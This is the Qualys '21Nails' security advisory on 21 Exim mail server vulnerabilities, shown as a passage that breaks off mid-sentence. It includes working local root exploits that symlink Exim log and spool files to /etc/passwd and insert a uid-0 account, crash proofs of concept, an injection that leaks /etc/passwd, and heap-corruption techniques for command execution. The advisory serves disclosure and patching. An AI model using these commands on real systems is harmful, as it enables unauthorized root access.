Update Information from Qualys
[exim-website.git] / templates / static / doc / security / CVE-2020-qualys / 21nails.txt
1
2 Qualys Security Advisory
3
4 21Nails: Multiple vulnerabilities in Exim
5
6
7 ========================================================================
8 Contents
9 ========================================================================
10
11 Summary
12 Local vulnerabilities
13 - CVE-2020-28007: Link attack in Exim's log directory
14 - CVE-2020-28008: Assorted attacks in Exim's spool directory
15 - CVE-2020-28014: Arbitrary file creation and clobbering
16 - CVE-2021-27216: Arbitrary file deletion
17 - CVE-2020-28011: Heap buffer overflow in queue_run()
18 - CVE-2020-28010: Heap out-of-bounds write in main()
19 - CVE-2020-28013: Heap buffer overflow in parse_fix_phrase()
20 - CVE-2020-28016: Heap out-of-bounds write in parse_fix_phrase()
21 - CVE-2020-28015: New-line injection into spool header file (local)
22 - CVE-2020-28012: Missing close-on-exec flag for privileged pipe
23 - CVE-2020-28009: Integer overflow in get_stdinput()
24 Remote vulnerabilities
25 - CVE-2020-28017: Integer overflow in receive_add_recipient()
26 - CVE-2020-28020: Integer overflow in receive_msg()
27 - CVE-2020-28023: Out-of-bounds read in smtp_setup_msg()
28 - CVE-2020-28021: New-line injection into spool header file (remote)
29 - CVE-2020-28022: Heap out-of-bounds read and write in extract_option()
30 - CVE-2020-28026: Line truncation and injection in spool_read_header()
31 - CVE-2020-28019: Failure to reset function pointer after BDAT error
32 - CVE-2020-28024: Heap buffer underflow in smtp_ungetc()
33 - CVE-2020-28018: Use-after-free in tls-openssl.c
34 - CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash()
35 Acknowledgments
36 Timeline
37
38
39 ========================================================================
40 Summary
41 ========================================================================
42
43 We recently audited central parts of the Exim mail server
44 (https://en.wikipedia.org/wiki/Exim) and discovered 21 vulnerabilities
45 (from CVE-2020-28007 to CVE-2020-28026, plus CVE-2021-27216): 11 local
46 vulnerabilities, and 10 remote vulnerabilities. Unless otherwise noted,
47 all versions of Exim are affected since at least the beginning of its
48 Git history, in 2004.
49
50 We have not tried to exploit all of these vulnerabilities, but we
51 successfully exploited 4 LPEs (Local Privilege Escalations) and 3 RCEs
52 (Remote Code Executions):
53
54 - CVE-2020-28007 (LPE, from user "exim" to root);
55
56 - CVE-2020-28008 (LPE, from user "exim" to root);
57
58 - CVE-2020-28015 (LPE, from any user to root);
59
60 - CVE-2020-28012 (LPE, from any user to root, if allow_filter is true);
61
62 - CVE-2020-28020 (unauthenticated RCE as "exim", in Exim < 4.92);
63
64 - CVE-2020-28018 (unauthenticated RCE as "exim", in 4.90 <= Exim < 4.94,
65   if TLS encryption is provided by OpenSSL);
66
67 - CVE-2020-28021 (authenticated RCE, as root);
68
69 - CVE-2020-28017 is also exploitable (unauthenticated RCE as "exim"),
70   but requires more than 25GB of memory in the default configuration.
71
72 We will not publish our exploits for now; instead, we encourage other
73 security researchers to write and publish their own exploits:
74
75 - This advisory contains sufficient information to develop reliable
76   exploits for these vulnerabilities; in fact, we believe that better
77   exploitation methods exist.
78
79 - We hope that more security researchers will look into Exim's code and
80   report their findings; indeed, we discovered several of these
81   vulnerabilities while working on our exploits.
82
83 - We will answer (to the best of our abilities) any questions regarding
84   these vulnerabilities and exploits on the public "oss-security" list
85   (https://oss-security.openwall.org/wiki/mailing-lists/oss-security).
86
87 Last-minute note: as explained in the Timeline, we developed a minimal
88 set of patches for these vulnerabilities; for reference and comparison,
89 it is attached to this advisory and is also available at
90 https://www.qualys.com/research/security-advisories/.
91
92
93
94 ========================================================================
95 CVE-2020-28007: Link attack in Exim's log directory
96 ========================================================================
97
98 The Exim binary is set-user-ID-root, and Exim operates as root in its
99 log directory, which belongs to the "exim" user:
100
101 ------------------------------------------------------------------------
102 drwxr-s--- 2 Debian-exim adm         4096 Nov  4 06:16 /var/log/exim4
103 ------------------------------------------------------------------------
104
105 An attacker who obtained the privileges of the "exim" user (by
106 exploiting CVE-2020-28020 or CVE-2020-28018 for example) can exploit
107 this local vulnerability to obtain full root privileges. Indeed, the
108 following code opens a log file in append mode, as root (lines 465-469):
109
110 ------------------------------------------------------------------------
111   22 static uschar *log_names[] = { US"main", US"reject", US"panic", US"debug" };
112  ...
113  382 static void
114  383 open_log(int *fd, int type, uschar *tag)
115  384 {
116  ...
117  387 uschar buffer[LOG_NAME_SIZE];
118  ...
119  398 ok = string_format(buffer, sizeof(buffer), CS file_path, log_names[type]);
120  ...
121  465 *fd = Uopen(buffer,
122  466 #ifdef O_CLOEXEC
123  467                 O_CLOEXEC |
124  468 #endif
125  469                 O_APPEND|O_WRONLY, LOG_MODE);
126 ------------------------------------------------------------------------
127
128 The name of the log file in buffer is derived from file_path, which is
129 derived from log_file_path, a format string defined at compile time (or
130 re-defined by the configuration file). On Debian, log_file_path is
131 "/var/log/exim4/%slog", and "%s" is converted to "main", "reject",
132 "panic", or "debug" at run time (line 398).
133
134 An attacker with the privileges of the "exim" user can create a symlink
135 (or a hardlink) in the log directory, append arbitrary contents to an
136 arbitrary file (to /etc/passwd, for example), and obtain full root
137 privileges:
138
139 ------------------------------------------------------------------------
140 id
141 uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
142
143 cd /var/log/exim4
144 ln -s -f /etc/passwd paniclog
145
146 /usr/sbin/exim4 -Rr $'X\n_trinity:SCB2INhNOLCrc:0:0::/:\nX['
147
148 grep -1 _trinity /etc/passwd
149 2021-03-09 09:45:05 regular expression error: missing terminating ] for character class at offset 35 while compiling X
150 _trinity:SCB2INhNOLCrc:0:0::/:
151 X[
152
153 su -l _trinity
154 Password: Z1ON0101
155
156 id
157 uid=0(root) gid=0(root) groups=0(root)
158 ------------------------------------------------------------------------
159
160
161
162 ========================================================================
163 CVE-2020-28008: Assorted attacks in Exim's spool directory
164 ========================================================================
165
166 Exim also operates as root in its spool directory, which belongs to the
167 "exim" user:
168
169 ------------------------------------------------------------------------
170 drwxr-x--- 5 Debian-exim Debian-exim 4096 Nov  4 06:16 /var/spool/exim4
171 drwxr-x--- 2 Debian-exim Debian-exim 4096 Nov  4 06:16 /var/spool/exim4/db
172 drwxr-x--- 2 Debian-exim Debian-exim 4096 Nov  4 06:16 /var/spool/exim4/input
173 drwxr-x--- 2 Debian-exim Debian-exim 4096 Nov  4 06:16 /var/spool/exim4/msglog
174 ------------------------------------------------------------------------
175
176 An attacker who obtained the privileges of the "exim" user can exploit
177 this local vulnerability to obtain full root privileges. Various attack
178 vectors exist:
179
180 - The attacker can directly write to a spool header file (in the "input"
181   subdirectory) and reuse our exploitation technique for CVE-2020-28015.
182
183 - The attacker can create a long-named file in the "db" subdirectory and
184   overflow a stack-based buffer (at line 208):
185
186 ------------------------------------------------------------------------
187  87 open_db *
188  88 dbfn_open(uschar *name, int flags, open_db *dbblock, BOOL lof)
189  89 {
190  ..
191  94 uschar dirname[256], filename[256];
192 ...
193 111 snprintf(CS dirname, sizeof(dirname), "%s/db", spool_directory);
194 112 snprintf(CS filename, sizeof(filename), "%s/%s.lockfile", dirname, name);
195 ...
196 198   uschar *lastname = Ustrrchr(filename, '/') + 1;
197 199   int namelen = Ustrlen(name);
198 200 
199 201   *lastname = 0;
200 202   dd = opendir(CS filename);
201 203 
202 204   while ((ent = readdir(dd)))
203 205     if (Ustrncmp(ent->d_name, name, namelen) == 0)
204 206       {
205 207       struct stat statbuf;
206 208       Ustrcpy(lastname, ent->d_name);
207 ------------------------------------------------------------------------
208
209   Proof of concept:
210
211 ------------------------------------------------------------------------
212 id
213 uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
214
215 cd /var/spool/exim4/db
216 rm -f retry*
217 touch retry`perl -e 'print "A" x (255-5)'`
218
219 /usr/sbin/exim4 -odf -oep postmaster < /dev/null
220 *** stack smashing detected ***: <unknown> terminated
221 2020-11-04 15:34:02 1kaPTm-0000gu-I0 process 2661 crashed with signal 6 while delivering 1kaPTm-0000gu-I0
222 ------------------------------------------------------------------------
223
224 - The attacker can create a symlink (or a hardlink) in the "db"
225   subdirectory and take ownership of an arbitrary file (at line 212):
226
227 ------------------------------------------------------------------------
228 204   while ((ent = readdir(dd))) 
229 205     if (Ustrncmp(ent->d_name, name, namelen) == 0)
230 206       {
231 207       struct stat statbuf;
232 208       Ustrcpy(lastname, ent->d_name);
233 209       if (Ustat(filename, &statbuf) >= 0 && statbuf.st_uid != exim_uid)
234 210         {
235 211         DEBUG(D_hints_lookup) debug_printf_indent("ensuring %s is owned by exim\n", filename);
236 212         if (Uchown(filename, exim_uid, exim_gid))
237 ------------------------------------------------------------------------
238
239   Exploitation:
240
241 ------------------------------------------------------------------------
242 id
243 uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
244
245 cd /var/spool/exim4/db
246 rm -f retry*
247 ln -s -f /etc/passwd retry.passwd
248
249 /usr/sbin/exim4 -odf -oep postmaster < /dev/null
250
251 ls -l /etc/passwd
252 -rw-r--r-- 1 Debian-exim Debian-exim 1580 Nov  4 21:55 /etc/passwd
253
254 echo '_francoise:$1$dAuS1HDV$mT0noBeBopmZgLYD5ZiZb1:0:0::/:' >> /etc/passwd
255
256 su -l _francoise
257 Password: RadicalEdward
258
259 id
260 uid=0(root) gid=0(root) groups=0(root)
261 ------------------------------------------------------------------------
262
263 Side note: CVE-2020-28007 and CVE-2020-28008 are very similar to
264 https://www.halfdog.net/Security/2016/DebianEximSpoolLocalRoot/.
265
266
267
268 ========================================================================
269 CVE-2020-28014: Arbitrary file creation and clobbering
270 ========================================================================
271
272 An attacker who obtained the privileges of the "exim" user can abuse the
273 -oP override_pid_file_path option to create (or overwrite) an arbitrary
274 file, as root. The attacker does not, however, control the contents of
275 this file:
276
277 ------------------------------------------------------------------------
278 id
279 uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
280
281 /usr/sbin/exim4 -bdf -oX 0 -oP /etc/ld.so.preload &
282 [1] 3371
283
284 sleep 3
285
286 kill -9 "$!"
287 [1]+  Killed                  /usr/sbin/exim4 -bdf -oX 0 -oP /etc/ld.so.preload
288
289 ls -l /etc/ld.so.preload
290 ERROR: ld.so: object '3371' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
291 -rw-r--r-- 1 root Debian-exim 5 Nov  4 20:20 /etc/ld.so.preload
292 ------------------------------------------------------------------------
293
294 The attacker can also combine this vulnerability with CVE-2020-28007 or
295 CVE-2020-28008 to create an arbitrary file with arbitrary contents and
296 obtain full root privileges.
297
298
299
300 ========================================================================
301 CVE-2021-27216: Arbitrary file deletion
302 ========================================================================
303
304 While working on a patch for CVE-2020-28014, we discovered another
305 related vulnerability: any local user can delete any arbitrary file as
306 root (for example, /etc/passwd), by abusing the -oP and -oPX options in
307 delete_pid_file():
308
309 ------------------------------------------------------------------------
310  932 void
311  933 delete_pid_file(void)
312  934 {
313  935 uschar * daemon_pid = string_sprintf("%d\n", (int)getppid());
314  ...
315  939 if ((f = Ufopen(pid_file_path, "rb")))
316  940   {
317  941   if (  fgets(CS big_buffer, big_buffer_size, f)
318  942         && Ustrcmp(daemon_pid, big_buffer) == 0
319  943      )
320  944     if (Uunlink(pid_file_path) == 0)
321 ------------------------------------------------------------------------
322
323 To exploit this vulnerability, a local attacker must win an easy race
324 condition between the fopen() at line 939 and the unlink() at line 944;
325 this is left as an exercise for the interested reader.
326
327 ------------------------------------------------------------------------
328 History
329 ------------------------------------------------------------------------
330
331 This vulnerability was introduced in Exim 4.94:
332
333 ------------------------------------------------------------------------
334 commit 01446a56c76aa5ac3213a86f8992a2371a8301f3
335 Date:   Sat Nov 9 16:04:14 2019 +0000
336
337     Remove the daemon pid file when exit is due to SIGTERM.  Bug 340
338 ------------------------------------------------------------------------
339
340
341
342 ========================================================================
343 CVE-2020-28011: Heap buffer overflow in queue_run()
344 ========================================================================
345
346 Through the -R deliver_selectstring and -S deliver_selectstring_sender
347 options, the "exim" user can overflow the heap-based big_buffer in
348 queue_run() (lines 419 and 423):
349
350 ------------------------------------------------------------------------
351  412   p = big_buffer;
352  ...
353  418   if (deliver_selectstring)
354  419     p += sprintf(CS p, " -R%s %s", f.deliver_selectstring_regex? "r" : "",
355  420       deliver_selectstring);
356  421 
357  422   if (deliver_selectstring_sender)
358  423     p += sprintf(CS p, " -S%s %s", f.deliver_selectstring_sender_regex? "r" : "",
359  424       deliver_selectstring_sender);
360 ------------------------------------------------------------------------
361
362 We have not tried to exploit this vulnerability; if exploitable, it
363 would allow an attacker who obtained the privileges of the "exim" user
364 to obtain full root privileges.
365
366 ------------------------------------------------------------------------
367 Proof of concept
368 ------------------------------------------------------------------------
369
370 id
371 uid=107(Debian-exim) gid=114(Debian-exim) groups=114(Debian-exim)
372
373 /usr/sbin/exim4 -R `perl -e 'print "A" x 128000'`
374 malloc(): invalid size (unsorted)
375 Aborted
376
377 /usr/sbin/exim4 -S `perl -e 'print "A" x 128000'`
378 malloc(): invalid size (unsorted)
379 Aborted
380
381
382
383 ========================================================================
384 CVE-2020-28010: Heap out-of-bounds write in main()
385 ========================================================================
386
387 For debugging and logging purposes, Exim copies the current working
388 directory (initial_cwd) into the heap-based big_buffer:
389
390 ------------------------------------------------------------------------
391 3665 initial_cwd = os_getcwd(NULL, 0);
392 ....
393 3945   uschar *p = big_buffer;
394 3946   Ustrcpy(p, "cwd= (failed)");
395 ....
396 3952     Ustrncpy(p + 4, initial_cwd, big_buffer_size-5);
397 3953     p += 4 + Ustrlen(initial_cwd);
398 ....
399 3956     *p = '\0';
400 ------------------------------------------------------------------------
401
402 The strncpy() at line 3952 cannot overflow big_buffer, but (on Linux at
403 least) initial_cwd can be much longer than big_buffer_size (16KB): line
404 3953 can increase p past big_buffer's end, and line 3956 (and beyond)
405 can write out of big_buffer's bounds.
406
407 We have not tried to exploit this vulnerability; if exploitable, it
408 would allow an unprivileged local attacker to obtain full root
409 privileges.
410
411 ------------------------------------------------------------------------
412 Proof of concept
413 ------------------------------------------------------------------------
414
415 id
416 uid=1001(jane) gid=1001(jane) groups=1001(jane)
417
418 perl -e 'use strict;
419 my $a = "A" x 255;
420 for (my $i = 0; $i < 4096; $i++) {
421 mkdir "$a", 0700 or die;
422 chdir "$a" or die; }
423 exec "/usr/sbin/exim4", "-d+all" or die;'
424 ...
425 23:50:39  5588 changed uid/gid: forcing real = effective
426 23:50:39  5588   uid=0 gid=1001 pid=5588
427 ...
428 Segmentation fault
429
430 ------------------------------------------------------------------------
431 History
432 ------------------------------------------------------------------------
433
434 This vulnerability was introduced in Exim 4.92:
435
436 ------------------------------------------------------------------------
437 commit 805fd869d551c36d1d77ab2b292a7008d643ca79
438 Date:   Sat May 19 12:09:55 2018 -0400
439 ...
440    Ustrncpy(p + 4, initial_cwd, big_buffer_size-5);
441 +  p += 4 + Ustrlen(initial_cwd);
442 +  /* in case p is near the end and we don't provide enough space for
443 +   * string_format to be willing to write. */
444 +  *p = '\0';
445  
446 -  while (*p) p++;
447 ------------------------------------------------------------------------
448
449
450
451 ========================================================================
452 CVE-2020-28013: Heap buffer overflow in parse_fix_phrase()
453 ========================================================================
454
455 If a local attacker executes Exim with a -F '.(' option (for example),
456 then parse_fix_phrase() calls strncpy() with a -1 size (which overflows
457 the destination buffer, because strncpy(dest, src, n) "writes additional
458 null bytes to dest to ensure that a total of n bytes are written").
459
460 Indeed, at line 1124 s and ss are both equal to end, at line 1125 ss is
461 decremented, and at line 1127 ss-s is equal to -1:
462
463 ------------------------------------------------------------------------
464 1124             {
465 1125             if (ss >= end) ss--;
466 1126             *t++ = '(';
467 1127             Ustrncpy(t, s, ss-s);
468 ------------------------------------------------------------------------
469
470 We have not tried to exploit this vulnerability; if exploitable, it
471 would allow an unprivileged local attacker to obtain full root
472 privileges.
473
474 ------------------------------------------------------------------------
475 Proof of concept
476 ------------------------------------------------------------------------
477
478 id
479 uid=1001(jane) gid=1001(jane) groups=1001(jane)
480
481 /usr/sbin/exim4 -bt -F '.('
482 Segmentation fault
483
484
485
486 ========================================================================
487 CVE-2020-28016: Heap out-of-bounds write in parse_fix_phrase()
488 ========================================================================
489
490 If a local attacker executes Exim with an empty originator_name (-F ''),
491 then parse_fix_phrase() allocates a zero-sized buffer (at line 982), but
492 writes a null byte to buffer[1] (lines 986 and 1149):
493
494 ------------------------------------------------------------------------
495 4772 originator_name = parse_fix_phrase(originator_name, Ustrlen(originator_name));
496 ------------------------------------------------------------------------
497  960 const uschar *
498  961 parse_fix_phrase(const uschar *phrase, int len)
499  962 {
500  ...
501  982 buffer = store_get(len*4, is_tainted(phrase));
502  983 
503  984 s = phrase;
504  985 end = s + len;
505  986 yield = t = buffer + 1;
506  987 
507  988 while (s < end)
508  989   {
509 ....
510 1147   }
511 1148 
512 1149 *t = 0;
513 ------------------------------------------------------------------------
514
515 We have not tried to exploit this vulnerability; if exploitable, it
516 would allow an unprivileged local attacker to obtain full root
517 privileges.
518
519 ------------------------------------------------------------------------
520 History
521 ------------------------------------------------------------------------
522
523 This vulnerability was introduced by:
524
525 ------------------------------------------------------------------------
526 commit 3c90bbcdc7cf73298156f7bcd5f5e750e7814e72
527 Date:   Thu Jul 9 15:30:55 2020 +0100
528 ...
529 +JH/18 Bug 2617: Fix a taint trap in parse_fix_phrase().  Previously when the
530 +      name being quoted was tainted a trap would be taken.  Fix by using
531 +      dynamicaly created buffers.  The routine could have been called by a
532 +      rewrite with the "h" flag, by using the "-F" command-line option, or
533 +      by using a "name=" option on a control=submission ACL modifier.
534 ------------------------------------------------------------------------
535
536
537
538 ========================================================================
539 CVE-2020-28015: New-line injection into spool header file (local)
540 ========================================================================
541
542 When Exim receives a mail, it creates two files in the "input"
543 subdirectory of its spool directory: a "data" file, which contains the
544 body of the mail, and a "header" file, which contains the headers of the
545 mail and important metadata (the sender and the recipient addresses, for
546 example). Such a header file consists of lines of text separated by '\n'
547 characters.
548
549 Unfortunately, an unprivileged local attacker can send a mail to a
550 recipient whose address contains '\n' characters, and can therefore
551 inject new lines into the spool header file and change Exim's behavior:
552
553 ------------------------------------------------------------------------
554 id
555 uid=1001(jane) gid=1001(jane) groups=1001(jane)
556
557 /usr/sbin/exim4 -odf -oep $'"Lisbeth\nSalander"' < /dev/null
558
559 2020-11-05 09:11:46 1kafzO-0001ho-Tf Format error in spool file 1kafzO-0001ho-Tf-H: size=607
560 ------------------------------------------------------------------------
561
562 The effect of this vulnerability is similar to CVE-2020-8794 in
563 OpenSMTPD, but in Exim's case it is not enough to execute arbitrary
564 commands. To understand how we transformed this vulnerability into an
565 arbitrary command execution, we must digress briefly.
566
567 ------------------------------------------------------------------------
568 Digression
569 ------------------------------------------------------------------------
570
571 Most of the vulnerabilities in this advisory are memory corruptions, and
572 despite modern protections such as ASLR, NX, and malloc hardening,
573 memory corruptions in Exim are easy to exploit:
574
575 1/ Exim's memory allocator (store.c, which calls malloc() and free()
576 internally) unintentionally provides attackers with powerful exploit
577 primitives. In particular, if an attacker can pass a negative size to
578 the allocator (through an integer overflow or direct control), then:
579
580 ------------------------------------------------------------------------
581 119 static void *next_yield[NPOOLS];
582 120 static int yield_length[NPOOLS] = { -1, -1, -1,  -1, -1, -1 };
583 ...
584 231 void *
585 232 store_get_3(int size, BOOL tainted, const char *func, int linenumber)
586 233 {
587 ...
588 248 if (size > yield_length[pool])
589 249   {
590 ...
591 294   }
592 ...
593 299 store_last_get[pool] = next_yield[pool];
594 ...
595 316 next_yield[pool] = (void *)(CS next_yield[pool] + size);
596 317 yield_length[pool] -= size;
597 318 return store_last_get[pool];
598 319 }
599 ------------------------------------------------------------------------
600
601 1a/ At line 248, store_get() believes that the current block of memory
602 is large enough (because size is negative), and goes to line 299. As a
603 result, store_get()'s caller can overflow the current block of memory (a
604 "forward-overflow").
605
606 1b/ At line 317, the free size of the current block of memory
607 (yield_length) is mistakenly increased (because size is negative), and
608 at line 316, the next pointer returned by store_get() (next_yield) is
609 mistakenly decreased (because size is negative). As a result, the next
610 memory allocation can overwrite the beginning of Exim's heap: a relative
611 write-what-where, which naturally bypasses ASLR (a "backward-jump", or
612 "back-jump").
613
614 2/ The beginning of the heap contains Exim's configuration, which
615 includes various strings that are passed to expand_string() at run time.
616 Consequently, an attacker who can "back-jump" can overwrite these
617 strings with "${run{...}}" and execute arbitrary commands (thus
618 bypassing NX).
619
620 The first recorded use of expand_string() in an Exim exploit is
621 CVE-2010-4344 (and CVE-2010-4345), an important part of Internet
622 folklore:
623
624 https://www.openwall.com/lists/oss-security/2010/12/10/1
625
626 Note: Exim 4.94 (the latest version) introduces "tainted" memory (i.e.,
627 untrusted, possibly attacker-controlled data) and refuses to process it
628 in expand_string(). This mechanism protects Exim against unintentional
629 expansion of tainted data (CVE-2014-2957 and CVE-2019-10149), but NOT
630 against memory corruption: an attacker can simply overwrite untainted
631 memory with tainted data, and still execute arbitrary commands in
632 expand_string(). For example, we exploited CVE-2020-28015,
633 CVE-2020-28012, and CVE-2020-28021 in Exim 4.94.
634
635 ------------------------------------------------------------------------
636 Exploitation
637 ------------------------------------------------------------------------
638
639 CVE-2020-28015 allows us to inject new lines into a spool header file.
640 To transform this vulnerability into an arbitrary command execution (as
641 root, since deliver_drop_privilege is false by default), we exploit the
642 following code in spool_read_header():
643
644 ------------------------------------------------------------------------
645  341 int n;
646  ...
647  910 while ((n = fgetc(fp)) != EOF)
648  911   {
649  ...
650  914   int i;
651  915 
652  916   if (!isdigit(n)) goto SPOOL_FORMAT_ERROR;
653  917   if(ungetc(n, fp) == EOF  ||  fscanf(fp, "%d%c ", &n, flag) == EOF)
654  918     goto SPOOL_READ_ERROR;
655  ...
656  927     h->text = store_get(n+1, TRUE);     /* tainted */
657  ...
658  935     for (i = 0; i < n; i++)
659  936       {
660  937       int c = fgetc(fp);
661  ...
662  940       h->text[i] = c;
663  941       }
664  942     h->text[i] = 0;
665 ------------------------------------------------------------------------
666
667 - at line 917, we start a fake header with a negative length n;
668
669 - at line 927, we back-jump to the beginning of the heap (Digression
670   1b), because n is negative;
671
672 - at line 935, we avoid the forward-overflow (Digression 1a), because n
673   is negative;
674
675 - then, our next fake header is allocated to the beginning of the heap
676   and overwrites Exim's configuration strings (with "${run{command}}");
677
678 - last, our arbitrary command is executed when deliver_message()
679   processes our fake (injected) recipient and expands the overwritten
680   configuration strings (Digression 2).
681
682 We can also transform CVE-2020-28015 into an information disclosure, by
683 exploiting the following code in spool_read_header():
684
685 ------------------------------------------------------------------------
686  756 for (recipients_count = 0; recipients_count < rcount; recipients_count++)
687  757   {
688  ...
689  765   if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR;
690  766   nn = Ustrlen(big_buffer);
691  767   if (nn < 2) goto SPOOL_FORMAT_ERROR;
692  ...
693  772   p = big_buffer + nn - 1;
694  773   *p-- = 0;
695  ...
696  809   while (isdigit(*p)) p--;
697  ...
698  840   else if (*p == '#')
699  841     {
700  842     int flags;
701  ...
702  848     (void)sscanf(CS p+1, "%d", &flags);
703  849 
704  850     if ((flags & 0x01) != 0)      /* one_time data exists */
705  851       {
706  852       int len;
707  853       while (isdigit(*(--p)) || *p == ',' || *p == '-');
708  854       (void)sscanf(CS p+1, "%d,%d", &len, &pno);
709  855       *p = 0;
710  856       if (len > 0)
711  857         {
712  858         p -= len;
713  859         errors_to = string_copy_taint(p, TRUE);
714  860         }
715  861       }
716  862 
717  863     *(--p) = 0;   /* Terminate address */
718 ------------------------------------------------------------------------
719
720 For example, if we send a mail to the recipient
721 '"X@localhost\njane@localhost 8192,-1#1\n\n1024* "' (where jane is our
722 username, and localhost is one of Exim's local_domains), then:
723
724 - at line 848, we set flags to 1;
725
726 - at line 854, we set len to 8KB;
727
728 - at line 858, we decrease p (by 8KB) toward the beginning of the heap;
729
730 - at line 859, we read the errors_to string out of big_buffer's bounds;
731
732 - finally, we receive our mail, which includes the out-of-bounds
733   errors_to string in its "From" and "Return-path:" headers (in this
734   example, errors_to contains a fragment of /etc/passwd):
735
736 ------------------------------------------------------------------------
737 id
738 uid=1001(jane) gid=1001(jane) groups=1001(jane)
739
740 (
741 printf 'Message-Id: X\n';
742 printf 'From: X@localhost\n';
743 printf 'Date: X\n';
744 printf 'X:%01024d2* X\n' 0;
745 ) | /usr/sbin/exim4 -odf -oep $'"X@localhost\njane@localhost 8192,-1#1\n\n1024* "' jane
746
747 cat /var/mail/jane
748 From 
749 sys:x:3:
750 adm:x:4:
751 ...
752 Debian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin
753 jane:x:1001:1001:,,,:/home/jane:/bin/bash
754  Thu Nov 05 10:49:07 2020
755 Return-path: <
756 sys:x:3:
757 adm:x:4:
758 ...
759 systemd-timesync:x:102:
760 systemd-network:x:103:
761 sy>
762 ...
763 ------------------------------------------------------------------------
764
765
766
767 ========================================================================
768 CVE-2020-28012: Missing close-on-exec flag for privileged pipe
769 ========================================================================
770
771 Exim supports a special kind of .forward file called "exim filter" (if
772 allow_filter is true, the default on Debian). To handle such a filter,
773 the privileged Exim process creates an unprivileged process and a pipe
774 for communication. The filter process can fork() and execute arbitrary
775 commands with expand_string(); this is not a security issue in itself,
776 because the filter process is unprivileged. Unfortunately, the writable
777 end of the communication pipe is not closed-on-exec and an unprivileged
778 local attacker can therefore send arbitrary data to the privileged Exim
779 process (which is running as root).
780
781 ------------------------------------------------------------------------
782 Exploitation
783 ------------------------------------------------------------------------
784
785 We exploit this vulnerability through the following code in
786 rda_interpret(), which reads our arbitrary data in the privileged Exim
787 process:
788
789 ------------------------------------------------------------------------
790 791 fd = pfd[pipe_read];
791 792 if (read(fd, filtertype, sizeof(int)) != sizeof(int) ||
792 793     read(fd, &yield, sizeof(int)) != sizeof(int) ||
793 794     !rda_read_string(fd, error)) goto DISASTER;
794 ...
795 804     if (!rda_read_string(fd, &s)) goto DISASTER;
796 ...
797 956   *error = string_sprintf("internal problem in %s: failure to transfer "
798 957     "data from subprocess: status=%04x%s%s%s", rname,
799 958     status, readerror,
800 959     (*error == NULL)? US"" : US": error=",
801 960     (*error == NULL)? US"" : *error);
802 961   log_write(0, LOG_MAIN|LOG_PANIC, "%s", *error);
803 ------------------------------------------------------------------------
804
805 where:
806
807 ------------------------------------------------------------------------
808 467 static BOOL
809 468 rda_read_string(int fd, uschar **sp)
810 469 {
811 470 int len;
812 471 
813 472 if (read(fd, &len, sizeof(int)) != sizeof(int)) return FALSE;
814 ...
815 479   if (read(fd, *sp = store_get(len, FALSE), len) != len) return FALSE;
816 480 return TRUE;
817 481 }
818 ------------------------------------------------------------------------
819
820 - at line 794, we allocate an arbitrary string (of arbitrary length),
821   error;
822
823 - at line 804 (and line 479), we back-jump to the beginning of the heap
824   (Digression 1b) and avoid the forward-overflow (Digression 1a) because
825   our len is negative;
826
827 - at line 956, we overwrite the beginning of the heap with a string that
828   we control (error); we tried to overwrite Exim's configuration strings
829   (Digression 2) but failed to execute arbitrary commands; instead, we
830   overwrite file_path, a copy of log_file_path (mentioned in
831   CVE-2020-28007);
832
833 - at line 961, we append an arbitrary string that we control (error) to
834   a file whose name we control (file_path): we add an arbitrary user to
835   /etc/passwd and obtain full root privileges.
836
837 This first version of our exploit succeeds on Debian oldstable's
838 exim4_4.89-2+deb9u7 (it fails on Debian stable's exim4_4.92-8+deb10u4
839 because of a gstring_reset_unused() in string_sprintf(); we have not
840 tried to work around this problem), but it fails on Debian testing's
841 exim4_4.94-8: the pool of memory that we back-jump at line 804 is
842 untainted, but the string at line 956 is tainted and written to a
843 different pool of memory (because our primary recipient, and hence
844 rname, are tainted).
845
846 To work around this problem, our "exim filter" generates a secondary
847 recipient that is naturally untainted (line 479). When this secondary
848 recipient is processed, the string at line 956 is untainted and thus
849 overwrites the beginning of the heap (because it is allocated in the
850 untainted pool of memory that we back-jumped at line 804): this second
851 version of our exploit also succeeds on Debian testing.
852
853 Finally, we use one noteworthy trick in our exploit: in theory, the
854 string that overwrites file_path at line 956 cannot be longer than 256
855 bytes (LOG_NAME_SIZE); this significantly slows our brute-force of the
856 correct back-jump distance. In practice, we can overwrite file_path with
857 a much longer string (up to 8KB, LOG_BUFFER_SIZE) because file_path is a
858 format string, and "%0Lu" (or "%.0D") is a NOP in Exim's string_format()
859 function: it consumes no argument and produces no output, thus avoiding
860 the overflow of buffer[LOG_NAME_SIZE] in open_log().
861
862
863
864 ========================================================================
865 CVE-2020-28009: Integer overflow in get_stdinput()
866 ========================================================================
867
868 The following loop reads lines from stdin as long as the last character
869 of the lines is '\\' (line 1273). Each line that is read is appended to
870 a "growable string", the gstring g (at line 1266):
871
872 ------------------------------------------------------------------------
873 1229 gstring * g = NULL;
874 ....
875 1233 for (i = 0;; i++)
876 1234   {
877 1235   uschar buffer[1024];
878 ....
879 1252     if (Ufgets(buffer, sizeof(buffer), stdin) == NULL) break;
880 1253     p = buffer;
881 ....
882 1258   ss = p + (int)Ustrlen(p);
883 ....
884 1266   g = string_catn(g, p, ss - p);
885 ....
886 1273   if (ss == p || g->s[g->ptr-1] != '\\')
887 1274     break;
888 ------------------------------------------------------------------------
889
890 Eventually, the integer g->size of the growable string overflows, and
891 becomes negative (in gstring_grow(), which is called by string_catn()).
892 Consequently, in store_newblock() (which is called by gstring_grow()),
893 newsize is negative:
894
895 ------------------------------------------------------------------------
896 506 void *
897 507 store_newblock_3(void * block, int newsize, int len,
898 508   const char * filename, int linenumber)
899 509 {
900 510 BOOL release_ok = store_last_get[store_pool] == block;
901 511 uschar * newtext = store_get(newsize);
902 512 
903 513 memcpy(newtext, block, len);
904 514 if (release_ok) store_release_3(block, filename, linenumber);
905 515 return (void *)newtext;
906 516 }
907 ------------------------------------------------------------------------
908
909 - the store_get() at line 511 back-jumps the current block of memory
910   (Digression 1b);
911
912 - the memcpy() at line 513 forward-overflows the current block of memory
913   (Digression 1a).
914
915 If exploitable, this vulnerability would allow an unprivileged local
